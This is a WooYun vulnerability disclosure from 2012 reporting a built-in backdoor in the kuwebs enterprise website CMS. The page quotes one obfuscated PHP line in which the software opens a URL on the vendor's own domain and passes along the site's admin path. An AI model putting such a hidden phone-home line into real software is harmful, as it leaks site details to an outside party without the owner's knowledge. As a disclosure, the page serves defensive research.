WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-04599

漏洞标题： kuwebs酷纬企业网站管理系统发现源码内置后门

相关厂商：kuwebs

漏洞作者： network

提交时间：2012-02-17 17:32

修复时间：2012-02-17 17:32

公开时间：2012-02-17 17:32

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2012-02-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-02-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

源码中存在获取后台地址的语句，并将地址发到他的网站，，万恶的管理员！。。万恶的程序员~
使用这个程序人蛮多的

详细说明：

fopen('http://www.k'.'uwe'.'bs.com'."/plus/add_rec.php?action=login&url={$adminHttpPath}", "r");
    if('all' == $createflag

漏洞证明：

修复方案：

版权声明：转载请注明来源 network@乌云

漏洞回应